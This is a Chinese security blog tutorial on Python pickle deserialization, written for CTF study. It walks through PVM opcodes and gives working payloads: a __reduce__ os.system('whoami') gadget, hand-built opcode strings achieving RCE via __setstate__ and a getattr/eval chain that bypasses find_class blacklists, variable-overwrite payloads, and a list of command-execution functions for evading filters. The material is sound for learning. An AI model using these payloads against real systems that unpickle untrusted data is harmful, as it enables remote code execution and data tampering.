F4de's blog F4de's blog
首页
WP整理
技术文章
学习笔记
其它随笔
关于|友链

F4de

Syclover | Web
首页
WP整理
技术文章
学习笔记
其它随笔
关于|友链
  • php安全

  • python安全

    • Python-Pickle反序列化安全问题
      • Pickle:python的序列化库
      • pickle.loads():我是一个接口
      • Unpickler类:更加底层的运作方式
      • Pickletools:Pickle调试器
      • opcode:不同的操作码对应不同的动作
      • opcode:我有不同的版本
      • 常用opcode含义表(0版本)
      • R操作符:危险的信号
      • c操作符:可以进行变量覆盖
      • RCE:只有R操作符可以做到吗?
      • 重写find_class():不一定绝对安全
        • RCE
        • 变量覆盖
      • 结语
      • 参考文章
  • Java安全

  • 其他

  • 技术文章
  • python安全
F4de
2020-11-15

Python-Pickle反序列化安全问题

在python中,相比于存储一个数字或者字符串,如果我们想要存储一个字典、列表或者对象,似乎并没有那么容易。但python和PHP等其他语言一样,也提供了一种序列化和反序列化的方法用来解决这个问题:我们可以把他们“序列化”成一种符合特殊规范的字符串,然后将其存储到一个文件当中。当我们想要获取该元素的时候,可以从文件中读取对应的字符串来进行“反序列化”,再经过某种特定的规范进行某种操作来获取到对应的元素。简单来说,把一个“对象”(或者其他)变成“字符串”的过程,就叫做序列化;把“字符串”翻译成“对象”的过程,叫做反序列化。但是不正确的反序列化会引发一些安全问题。

# Pickle:python的序列化库

现来看一段简单的代码:

import pickle

class pickle_test:
    def __init__(self):
        self.date = 20200911
        self.name = "F4de"

a = pickle_test()
# 序列化对象
s = pickle.dumps(a, protocol=2)
print(s)
# 执行反序列化操作
print(pickle.loads(s))
1
2
3
4
5
6
7
8
9
10
11
12
13

我们把一个简单的类进行实例化操作并将其序列化,然后对得到的序列化字符串进行一次反序列化的操作,程序的运行结果如下:

image-20200911202430271

我们序列化操作完成的时候得到了一串晦涩难懂的字符串(现在我们不需要知道它具体的含义,之后会进行讲解);然后反序列化的时候获得了pickle_test类的实例化对象(__main__是python顶层代码执行的作用域的名称)。OK,至此我们就完成了一次简单的序列化与反序列化的操作。

摘自python官方文档

下列类型可以被打包:

  • None、True 和 False
  • 整数、浮点数、复数
  • str、byte、bytearray
  • 只包含可打包对象的集合,包括 tuple、list、set 和 dict
  • 定义在模块顶层的函数(使用 def 定义,lambda 函数则不可以)
  • 定义在模块顶层的内置函数
  • 定义在模块顶层的类
  • 某些类实例,这些类的 __dict__ 属性值或 __getstate__() 函数的返回值可以被打包

存储一个字符串和存储一个对象,前者显然是更加容易的。

image-20200911203418851

# pickle.loads():我是一个接口

根据上面的学习可以知道,python是通过pickle.loads()方法将那一串字符串“翻译”成一个对象的。其实loads()方法是实现于Unpickler类的,下面是loads()方法的底层代码:

def _loads(s, *, fix_imports=True, encoding="ASCII", errors="strict",
           buffers=None):
    if isinstance(s, str):
        raise TypeError("Can't load pickle from unicode string")
    file = io.BytesIO(s)
    return _Unpickler(file, fix_imports=fix_imports, buffers=buffers,
                      encoding=encoding, errors=errors).load()
1
2
3
4
5
6
7

通过阅读源码我们可以得到如下的信息:loads()方法把得到的东西作为流传给Unpickler类,并调用该类的load()方法。

# Unpickler类:更加底层的运作方式

下面我们来看Unpickler类都做了一些什么事情

摘自python官方文档:

class pickle.Unpickler(file, ***, fix_imports=True, encoding="ASCII", errors="strict")

它接受一个二进制文件用于读取 pickle 数据流。

Pickle 协议版本是自动检测出来的,所以不需要参数来指定协议。

参数 file 必须有两个方法,其中 read() 方法接受一个整数参数,而 readline() 方法不需要参数。 两个方法都应返回字节串。 因此 file 可以是一个打开用于二进制读取的磁盘文件对象、一个 io.BytesIO 对象,或者任何满足此接口要求的其他自定义对象。

可选的关键字参数有 fix_imports, encoding 和 errors,它们用于控制由 Python 2 所生成 pickle 流的兼容性支持。 如果 fix_imports 为真值,则 pickle 将尝试把旧的 Python 2 名称映射到 Python 3 所使用的新名称。 encoding 和 errors 将告知 pickle 如何解码由 Python 2 所封存的 8 位字符串实例;这两个参数的默认值分别为 'ASCII' 和 'strict'。 encoding 可设为 'bytes' 以将这些 8 位字符串实例作为字节对象来读取。

  • load()

    从构造函数中指定的文件对象里读取打包好的对象,重建其中特定对象的层次结构并返回。打包对象以外的其他字节将被忽略。

Unpickler.load()解析那个晦涩难懂的字符串的时候,依赖于Pickle Virtual Machine(PVM)进行,而PVM涉及到以下的几个概念:

  • 栈:用来临时存储数据、参数和对象。
  • 解析引擎:从二进制流中读取opcode和参数,并对其进行解释处理,直至遇到.号为止,最终停留在栈顶的值将被作为反序列化的值返回。
  • 内存:为PVM的生命周期提供存储。

也就是说,Unpickler.load()方法依赖于PVM,在底层对序列化字符串进行着某种操作,从而最后得到了我们看到的反序列化出来的结果。

那么有没有一种方法,可以让我们直观的看到这种运作方式呢?

# Pickletools:Pickle调试器

Pickletools是python自带的一个库,其主要功能如下:

  • 反汇编一个已经序列化字符串。
  • 对一个序列化字符串进行优化(去除一些不必要的指令)。

对一个序列化字符串进行反汇编,获得其汇编指令(依然采用文章开始的例子):

使用pickletools的dis方法对一个已经打包好的字符串进行反汇编。

import pickle
import pickletools

class pickle_test:
    def __init__(self):
        self.date = 20200911
        self.name = "F4de"

a = pickle_test()
# 序列化对象
s = pickle.dumps(a, protocol=2)
print(s)
print("序列化完成·······")

# 进行反汇编
print('------------------')
pickletools.dis(s)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

运行结果如下:

image-20200911213033875

我们还可以对其进行优化,使打包好的字符串和反汇编指令更加简洁:

使用pickletools库中的optimize方法对打包的字符串和反汇编指令进行优化。

import pickle
import pickletools

class pickle_test:
    def __init__(self):
        self.date = 20200911
        self.name = "F4de"

a = pickle_test()
# 序列化对象
s = pickle.dumps(a, protocol=2)
# 进行优化
s = pickletools.optimize(s)
print(s)
print("序列化完成·······")


print('------------------')
pickletools.dis(s)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

image-20200911213355786

横向对比优化前和优化后指令,发现少了一些非必要的BINPUT指令,该指令的作用是push item from memo on stack; index is 1-byte arg,简单来说就是把当前栈的栈顶复制一份,放进储存区。总之,利用pickletools,我们可以以一种更加清晰的方式看到PVM在底层运作序列化字符串的方式。

在上文中,我们了解了Unpickler是利用PVM来运作opcode的,接下来开始介绍PVM是如何识别那个晦涩难懂的字符串并转化成一个个的指令在栈和内存中执行的。

# opcode:不同的操作码对应不同的动作

**上面对于opcode的介绍算是一个小插曲,接下来开始学习PVM是如何运作opcode的。**我们再次回到那个晦涩难懂的字符串:

image-20200911213355786

我们需要知道的是:PVM引擎会识别opcode中不同的指令码,从而进行相应的操作。

字符串的第一个字符是\x80,PVM引擎识别到这个字符,就会进行如下的操作:再向下读取一个字节。

那么接下来,它会读取到\x02,PVM读到这个字符会识别出序列化协议的版本是2。继续往后走,它会读取到c操作符,PVM会做下面这么一件事情:连续往后读取两个字符串(每个字符串以\n结尾),第一个字符串记为moudle,第二个字符串记为name,并把moudle.name压进当前栈中;对应上面的例子,moudle就是__main__,name就是pickle_test,PVM会把__main__.pickle_test压进当前栈中。所以到目前为止,栈中的元素只有一个__main__.pickle_test。

image-20200912114056837

再往下读取到),PVM会进行的操作是:把一个空的元组压入当前栈。

image-20200912114741579

接下来是\x81操作符,会进行的操作是:从栈中弹出一个元素,记为args;再弹出一个元素,记为cls,并执行cls.__new__(cls, *args),然后把得到的东西压入当前栈。

image-20200912130144662

PVM把我们之前压入栈中的两个字符串分别作为两个参数,使用__new__方法形成了一个新的对象。所以到现在为止,当前栈中的元素只有一个实例化的pickle_test类,而该实例中什么都没有。因为初始化的时候,tuple是一个空的元组。

接下来是}操作符,它会将一个空的字典压入栈中。

image-20200912130415334

然后是(,它是MARK操作符,会进行下面的操作:把现在当前栈中的东西打包成一个列表,然后整体压进前序栈,最后清空当前栈。

image-20200912131517410

还记得前文中所说的吗?当前栈用来处理python运行过程中最顶层的信息,而前序栈更像是一个缓冲区,用来处理下层的信息。

现在当前栈为空,而前序栈中存放了一个打包好的列表,接下来的操作依然会再当前栈中进行。

接着是X操作符,**它的作用是把一个uft-8编码的字符串压进栈中。**然后是J操作符,**它的作用是把一个四字节的int类型的整数压入栈中。**然后又执行了两次X操作符。

所以在执行完上述4步之后,当前栈可以用下图表示:

image-20200912133248762

然后是u操作符,它做的事情比较多:

  • 执行pop_mark,把当前栈的内容打包成一个列表list,然后把当前栈的状态恢复到执行MARK操作符之前。

  • 拿到当前栈的最后的元素,并且规定该元素必须是一个空的字典。然后一组一组地读list中的元素,前者作为key,后者作为value,存放进那个空字典当中。

执行完这个相对复杂的操作之后,当前栈中的元素为一个存放有元素的字典、一个实例化的pickle_test类。

下一个操作符是b,它做的事情称为BUILD:

  • 把当前栈的栈顶元素存入内存,记为state,然后弹出栈。
  • 再把当前栈的栈顶元素记为topele,然后弹出栈。
  • 用state来初始化实例topele,然后把得到的实例放进当前栈中。

python官方文档中称上述的操作为实例的解封。

······

解封过程

当解封时,如果类定义了__setstate__(),就会在已解封的状态下调用它。此时不要求实例的 state 对象必须是 dict。没有定义此方法的话,先前封存的 state 对象必须是 dict,且该 dict 内容会在解封时赋给新实例的__dict__。

我们在定义pickle_test类的时候并没有定义__setstate__()方法,所以在执行初始化操作的时候,得到的dict会赋值给pickle_test实例的__dict__。

此时的当前栈:

image-20200912142534782

再执行完b操作符后,PVM引擎遇到了.号,还记得我们上文中所说过的吗?

解析引擎:从二进制流中读取opcode和参数,并对其进行解释处理,直至遇到.号为止,最终停留在栈顶的值将被作为反序列化的值返回。

所以最后一步,反序化操作完成,已经初始化好的对象作为当前栈栈顶的元素被作为反序列化的值。

import pickle
import pickletools

class pickle_test:
    def __init__(self):
        self.date = 20200911
        self.name = "F4de"

a = pickle_test()
# 序列化对象
s = pickle.dumps(a, protocol=2)
# 进行优化
s = pickletools.optimize(s)
obj = pickle.loads(s)
print(obj.__dict__)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

image-20200912143304192

# opcode:我有不同的版本

opcode:即pickle序列化完成后得到的字符串。

python3和python2得到的opcode是不相同的,以下实例均在python3环境下运行。

在python3中,opcode共有6种不同的版本,可以在dumps()方法中使用protocol参数来指定opcode的版本:

import pickle
import pickletools

class pickle_test:
    def __init__(self):
        self.date = 20200911
        self.name = "F4de"

a = pickle_test()
# 序列化对象

for i in range(0, 6):
    s = pickle.dumps(a, protocol=i)
    # 进行优化
    s = pickletools.optimize(s)
    print('opcode版本:{}'.format(str(i)), s)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

image-20200911215904673

opcode是向下兼容的,其中第零个版本是最容易阅读和构造的,所以在下面的沙箱逃逸的opcode构造过程中,我们均选用0版本的opocde来构造payload。

# 常用opcode含义表(0版本)

opcode 描述 具体写法 栈上的变化 memo上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module]\n[instance]\n 获得的对象入栈 无
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 无
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 无
N 实例化一个None N 获得的对象入栈 无
S 实例化一个字符串对象 S'xxx'\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈 无
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈 无
I 实例化一个int对象 Ixxx\n 获得的对象入栈 无
F 实例化一个float对象 Fx.x\n 获得的对象入栈 无
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈 无
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 . 无 无
( 向栈中压入一个MARK标记 ( MARK标记入栈 无
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈 无
) 向栈中直接压入一个空元组 ) 空元组入栈 无
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈 无
] 向栈中直接压入一个空列表 ] 空列表入栈 无
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈 无
} 向栈中直接压入一个空字典 } 空字典入栈 无
p 将栈顶对象储存至memo_n pn\n 无 对象被储存
g 将memo_n的对象压栈 gn\n 对象被压栈 无
0 丢弃栈顶对象 0 栈顶对象被丢弃 无
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈 无
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 无
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新 无
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新 无
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新 无

读者需要额外注意(操作符和t操作符,在后文中会经常利用这两个操作符来构造opcode。

关于更多的操作符的解释,可以参考:https://github.com/python/cpython/blob/9412f4d1ad28d48d8bb4725f05fd8f8d0daf8cd2/Lib/pickle.py

# R操作符:危险的信号

在CTF中,关于python反序列化,遇到最多的就是利用__rudece__来执行任意命令,现来看一段代码:

import pickle
import pickletools

class pickle_test:
    def __reduce__(self):
        return(__import__('os').system, ('whoami', ))

a = pickle_test()
s = pickle.dumps(a, protocol=2)
s = pickletools.optimize(s)
print(s)

pickletools.dis(s)
1
2
3
4
5
6
7
8
9
10
11
12
13

image-20200912145109547

可以看到,在反序列化的时候执行了系统命令。我们可以通过分析它的opcode,看看反序列化的时候,PVM都干了什么事情:

image-20200920133123158

结合之前的解释,相信各位读者已经可以读懂这段opcode了,这里主要说一下R操作符,它的作用是:

  • 把当前栈的栈顶元素记为args,然后弹出栈。
  • 把当前栈的栈顶元素记为func,然后弹出栈。
  • 以args作为参数(该参数必须是元组),执行func,把结果压进栈中。

image-20200912150755932

__ruduce__会在反序列化的之后被执行,其底层的操作码就是R。所以我们可以利用__ruduce__生成恶意的opcode,然后当反序列化的时候会解释我们构造的opcode,从而达到恶意攻击效果。

在题目中,经常会碰到利用黑名单ban掉system等等函数的情况,这种题目的通常解法就是寻找黑名单的漏网之鱼,下面是整理的一些常用的命令执行函数:

eval, execfile, compile, open, file, map, input,
os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,
os.listdir, os.access,
os.execl, os.execle, os.execlp, os.execlpe, os.execv,
os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,
os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,
pickle.load, pickle.loads,cPickle.load,cPickle.loads,
subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,
commands.getstatusoutput,commands.getoutput,commands.getstatus,
glob.glob,
linecache.getline,
shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,
dircache.listdir,dircache.opendir,
io.open,
popen2.popen2,popen2.popen3,popen2.popen4,
timeit.timeit,timeit.repeat,
sys.call_tracing,
code.interact,code.compile_command,codeop.compile_command,
pty.spawn,
posixfile.open,posixfile.fileopen,
platform.popen
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

# c操作符:可以进行变量覆盖

在上文中提到的c操作符的作用是:连续往后读取两个字符串(每个字符串以\n结尾),第一个字符串记为moudle,第二个字符串记为name,并把moudle.name压进当前栈中。

其实c操作符是基于find_class(moudle, name)来实现的,find_class()函数实现的功能简单来说就是:去moudle模块中找到name。但是需要注意的是,moudle必须在name的顶层。

摘自python官方文档

find_class(module, name)

如有必要,导入 module 模块并返回其中名叫 name 的对象,其中 module 和 name 参数都是 str 对象。注意,不要被这个函数的名字迷惑, find_class() 同样可以用来导入函数。

def find_class(self, module, name):
    # Subclasses may override this.
    sys.audit('pickle.find_class', module, name)
    if self.proto < 3 and self.fix_imports:
    	if (module, name) in _compat_pickle.NAME_MAPPING:
        	module, name = _compat_pickle.NAME_MAPPING[(module, name)]
        elif module in _compat_pickle.IMPORT_MAPPING:
            module = _compat_pickle.IMPORT_MAPPING[module]
    __import__(module, level=0)
    if self.proto >= 4:
    	return _getattribute(sys.modules[module], name)[0]
    else:
        return getattr(sys.modules[module], name)
1
2
3
4
5
6
7
8
9
10
11
12
13

可以看下面这个示例demo:

import pickle
import secret
import os
import base64

class pickle_test:
    def __init__(self):
        self.name = 'Demo'
        self.sign = 'Hello'

ser = base64.b64decode(input("input:"))
print(ser)
# 过滤R操作符,防止危险函数
if b'R' in ser:
    os._exit(0)
else:
    obj = pickle.loads(ser)

if obj.name == secret.name and obj.sign == secret.sign:
    print(secret.flag)
else:
    print("Come on")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

demo中过滤了R操作符,无法执行exec函数完成变量覆盖,并且只有当反序列化后得到的对象的name和sign和secret模块中的name和sign相等才会返回flag。

对于这种情况,我们可以使用c操作符来进行变量覆盖,基本的思路就是,在初始化pickle_test对象的时候,利用c操作码来引入secret模块中的name和sign,再使用b操作码来进行BUILD。

现在我们开始手动构造opcode:

  1. 首先需要引入pickle_test对象实例:c__main__pickle_test\n)\x81
  2. 然后压入空字典,并打上MARK标记:}(
  3. 向栈中压入对应的元素,然后进行初始化:Vname\ncsecret\nname\nVsign\ncsecret\nsign\nub.
payload : b"c__main__\npickle_test\n)\x81}(Vname\ncsecret\nname\nVsign\ncsecret\nsign\nub."
1

我们再把替换后的opcode进行一次dis:

image-20200920140848166可以看到,原来name的值和sign的值都变成了sercet模块下引入的name和 sign,我们再把替换后的opcode进行一次base64编码(注意一定要使用python进行编码):

image-20200912170710534

然后传入我们所写的demo中(注意去掉b和''符号),造成了name和sign的变量覆盖,拿到flag:

image-20200920141005441

secret.py文件:

image-20200920141100684

# RCE:只有R操作符可以做到吗?

前文中我们提到了,R操作符会造成任意代码执行,那么只有R操作符可以进行RCE吗?

让我们来回想一下b操作符都干了一些什么事情:当解封时,如果类定义了__setstate__(),就会在已解封的状态下调用它。此时不要求实例的 state 对象必须是 dict。没有定义此方法的话,先前封存的 state 对象必须是 dict,且该 dict 内容会在解封时赋给新实例的__dict__。

那么现在设想这样一种情况:如果一个类(暂且称之为Test),它原先是没有定义__setstate__方法的,如果我们现在使用{"__setstate__": os.system}这个字典来初始化test类的对象(b操作符),现在这个对象便具有了__setstate__方法,之后我们再把待执行的命令作为参数(以whoami为例),再次使用b操作符来执行BUILD指令,由于此时对象存在__setstate__方法,所以便会执行os.system('whoami'),成功实现了RCE。

按照思路构造opcode:

  1. 获取Test对象实例:c__main__\nTest\n)\x81
  2. 压入空字典,并打上MARK标记:}(
  3. 使用__setstate__来初始化对象,然后BUILD:V__setstate__\ncos\nsystem\nub
  4. 再使用whoami来初始化对象的__setstate__,然后BUILD:Vwhoami\nb.
date = b'c__main__\nTest\n)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb.'
pickletools.dis(date)
pickle.loads(date)
1
2
3

image-20200913145445798

# 重写find_class():不一定绝对安全

在python官方文档中首先就提到了pickle模块是不安全的,**因为在默认情况下,解封将会导入在pickle数据中找到的任意类和对象。**官方给出了一种解决办法:**可以通过重写find_class()方法来控制要解封的对象。**通过白名单的方式来解决反序列化中的不安全问题,在很多题目中都是依赖于它来进行。

关于find_class():

  • 从opcode角度来看:它会在opcode中出现c、i、b'\x93'的时候会被调用。
  • 从代码的角度来看:它会在opcode解析的时候调用一次。

下面的例子来自于python官方文档:

import builtins
import io
import pickle

safe_builtins = {
    'range',
    'complex',
    'set',
    'frozenset',
    'slice',
}

class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

重写了Unpicker.find_class()方法,采用了白名单的方式来限制可以使用的模块为{'range', 'complex', 'set', 'frozenset', 'slice'}。

# RCE

除了上面中提到的利用白名单方法来限制解封的对象,在题目中遇到的另一种很常见的题目就是利用黑名单来进行过滤:

import pickle
import io
import builtins


class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):
        if module == 'builtins' and name not in self.blacklist:
            return getattr(builtins, name)
        raise pickle.UnpicklingError(
            "global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

restricted_loads(data)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

上面的代码使用了黑名单过滤的方法,当前我们可以使用的模块就是builtins下的除黑名单之外的模块。不过题目并没有过滤getattr,我们可以通过该方法来获取到builtins下的eval等危险函数,一个常规的思路就是getattar(builtins, 'eval')

image-20200919142018220

那么现在需要做的就是:

  • 引入builtins模块,然后获取getattr方法
  • 再获取builtins模块,然后利用getattr来获取eval等危险函数
  • 利用eval函数来执行操作

好在代码中自动引入了builtins模块,所以我们可以很轻易地获得getattr方法

image-20200919142743229

然后就是第二步操作:获得builtins模块,这里的思路就是:

  • 利用getattr获取到builtins模块下的dict中的get方法
  • 利用拿到的get方法去获取builtins.globals()中的builtins,拿到builtins模块

获取get方法:

image-20200919143234698

然后拿get方法去globals()中的上下文中获取builtins模块

image-20200919143439267

现在已经拿到了builtins模块,然后利用getattr来从中获取eval等危险函数

image-20200919143659417

执行命令:

image-20200919143752667

如果从正常的代码层面来看,整个流程可以用下面的代码来表示

image-20200919144003799

如果从栈的角度来看,整个流程可以用下面的一组图来表示:

b"cbuiltins\ngetattr\n(cbuiltins\ndict\nVget\ntR."
1

image-20200919145800501

b"cbuiltins\ngetattr\n(cbuiltins\ndict\nVget\ntR(cbuiltins\nglobals\n(tRVbuiltins\ntR."
1

image-20200919150719195

b"cbuiltins\ngetattr\n(cbuiltins\ndict\nVget\ntR(cbuiltins\nglobals\n(tRVbuiltins\ntRp1\ncbuiltins\ngetattr\n(g1\nVeval\ntR(V__import__('os').system('whoami')\ntR."
1

image-20200919151800806

# 变量覆盖

如果find_class()重写不当或者过滤不完全,依然会产生安全问题,来看下面的例子(四川大学2020校赛):

want2know=xxx

class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {
        'sys','eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit','getattr'
        }

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

...

        pickle_data=request.form.get('data')

        if pickle_data==None:
            return open('templates/pickle.html').read()

        try:
            pickle_data=base64.b64decode(pickle_data.encode())


            op_blackli=[b'R']

            for op in op_blackli:
                if op in pickle_data:
                    return '数据非法!'+op.decode()
            data=restricted_loads(pickle_data)

        except Exception:

            return "请输入正确的数据格式!"

        try:
            secret=request.form.get('secret')
        except Exception:
            return open('templates/pickle.html')

        if want2know==secret:
            return flag
        else:
            return '欢迎使用HACHp1的pickle测试工具!'
    else:
        return '没有权限查看!\n'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

获取的flag的条件是输入的secret和题目中的want2know相等。题目中过滤了一些可以进行RCE的函数,并且过滤了getattr,这就意味着没有办法重新获取builtins模块然后进行之后的操作。

这道题目的解法就是利用globals()获取当前空间全局变量的字典,然后利用s或者u操作符来进行变量覆盖:

payload : b"cbuiltins\nglobals\n(tR(Vwant2know\nVhahaha\nu."
1

便于理解,我们可以查看它的汇编代码:

image-20200920112014731

这时候再查看globals(),已经完成了变量覆盖:

image-20200920112119544

官方WP中给的解法:

payload : b"(ibuiltins\nglobals\np0\n0g0\nS'want2know'\nS'hachp1'\ns."
1

image-20200920112430024

大同小异,只不过把u操作符换成了s操作符,然后进行了相应的修改。


再看另外一种类型题目(来自高校战疫分享赛):

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__': # 只允许__main__模块
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
        
def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()
1
2
3
4
5
6
7
8
9

题目中限制了引入的模块必须是__main__,这种过滤方法看似安全,但是所有引入__main__(主程序)的模块都可以被通过调用__main__模块来修改,造成了变量覆盖,我们可以通过下面的例子来分析这一问题:

import pickle
import secret
import builtins
import io
import sys
import base64


class Animal:
    def __init__(self, name):
        self.name = name


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError(
            "global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()


pickle_data = input('input data:')
if b'R' in base64.b64decode(pickle_data):
    exit('What do U want to do?')
else:
    data = restricted_loads(base64.b64decode(pickle_data))

if type(data) is not Animal:
    exit("Are U sure this is an animal?")

if data.name == Animal(secret.name).name:
    print(secret.flag)
else:
    print("Your name is incorrect!")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

这个demo中重写了find_class()方法,规定了引入的模块只能是__mian__,此外,还过滤了R操作符来防止任意代码执行。最后拿反序列化得到的data.name和secret.name进行比较,如果相等,则会返回flag。

对于这个题目,解法如下:

  1. 先通过__main__模块引入secret
  2. 向栈中压入一个字典,内容为{'name': '233'},这个字典中的name的值是我们自己定义的,我们下面会利用这个字典来覆盖掉我们未知的原来的secret.name
  3. 执行b操作符,使用这个字典来初始化__mian__.secret.name的值,完成了变量覆盖。
  4. 执行0操作符,将栈顶元素弹掉,现在栈中为空。
  5. 再正常序列化一个Animal类的对象data,其中data.name设置为233,这样就可以使if条件成立,拿到flag。

明白基本流程之后,我们开始着手构造opcode:

b'c__main__\nsecret\n}(Vname\nV233\nub0c__main__\nAnimal\n)\x81}(Vname\nV233\nub.'
1

我们可以用pickletools.dis()来反汇编opcode:

image-20200920145112680

base64编码之后传入opcode,结果如下:

image-20200913140304166

我们可以编写下面这段简单的代码来验证变量覆盖的结果:

import pickle
import secret

data = b'c__main__\nsecret\n}(Vname\nV233\nub0c__main__\nAnimal\n)\x81}(Vname\nV233\nub.'
obj = pickle.loads(data)
print(secret.name)
print(obj.name)
1
2
3
4
5
6
7

image-20200913140547724

# 结语

到现在为止,相信各位已经可以理解为什么有人说pickle是一种语言,对于pickle来说,它对于opcode的解析能力是远大于生成能力的。

感谢观看本文,如有错误,请各位师傅不吝赐教。

# 参考文章

python官方文档

先知社区:pickle反序列化初探

知乎:从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势

PHP新特性绕过disable_functions
Java反射特性摘要

← PHP新特性绕过disable_functions Java反射特性摘要→

最近更新
01
RMI与JNDI(一)
01-29
02
Java8-Stream
01-03
03
谈一谈Java动态加载字节码的方式
12-18
更多文章>
Theme by Vdoing | Copyright © 2019-2021
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式